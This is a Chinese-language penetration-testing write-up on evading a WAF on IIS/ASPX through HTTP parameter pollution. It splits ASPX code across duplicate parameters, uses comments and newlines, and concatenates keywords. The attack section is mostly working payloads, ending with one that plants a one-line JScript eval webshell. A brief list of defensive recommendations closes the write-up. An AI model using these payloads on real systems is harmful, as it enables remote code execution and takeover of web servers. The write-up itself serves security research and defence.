记一次iis+aspx环境下利用http参数污染绕过waf
字数 858 2025-08-25 22:58:40
IIS+ASPX环境下利用HTTP参数污染绕过WAF技术分析
环境介绍
- 服务器环境:Microsoft-IIS/10.0
- 框架版本:X-AspNet-Version: 4.0
- WAF:某不知名WAF
漏洞背景
在新建模板功能处,可以直接写入内容到文件,但写入正常的ASPX语句会被WAF拦截,包括简单的输出语句。
初始测试
尝试了多种绕过方法均失败:
- 各种常见编码
- chunked编码
- 其他常规绕过技术
HTTP参数污染(HPP)发现
通过测试发现,当使用两个同名参数(如两个code参数)时,可以绕过WAF检测:
code=value1&code=value2
生成的文件内容会包含一个逗号分隔的值:
value1,value2
基本绕过技术
- 拆分ASPX标记:发现直接使用
<% %>会被拦截,但拆分后可以绕过 - 利用注释:ASPX支持
//注释方式 - 结合换行符:使用
%0a换行避免被注释
示例:
code=<%@Page Language="C#"%><% //&code=%0aResponse.Write("hello,world"); %>
生成的文件内容:
<%@Page Language="C#"%><%//,
Response.Write("hello,world"); %>
完整利用链构建
当尝试更复杂的payload时,发现WAF还过滤了:
Request等关键词eval(xxx)形式的调用(但单独的eval()可以通过)
绕过技术组合:
-
字符串拼接:将敏感关键词拆分
"Req"+"uest" "ev"+"al" -
特殊注释语法:参考ASPX/Jscript注释特性
eval/*-/*-*/(a/*,*/) -
结合HPP:将payload拆分到多个参数中
最终利用Payload
上传菜刀一句话的完整payload:
code=<%@ Page Language = Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>
生成的文件内容:
<%@ Page Language = Jscript %><%//,
var a="ev"+"al"+"(Reque"+"st.Item[\"c"+"o\"],"+"\"uns"+"afe\");"; eval/*-/*-*/(a/*,*/);%>
技术要点总结
- HTTP参数污染:利用IIS/ASPX对同名参数的处理特性
- 代码拆分:将敏感代码分散到不同参数中
- 注释与换行:利用注释特性避免语法错误
- 字符串拼接:绕过关键词检测
- 特殊注释语法:
/*-/*-*/形式的注释在ASPX中有效
防御建议
- 规范化参数处理,只接受最后一个同名参数
- 对上传内容进行多层级语法分析
- 实现更严格的代码片段检测
- 过滤特殊注释模式
- 监控异常的参数组合
扩展思考
此技术可应用于其他存在类似参数处理特性的环境,不同WAF的实现差异可能导致类似的绕过方式有效。防御方需要从参数处理、内容分析和行为检测等多维度构建防护体系。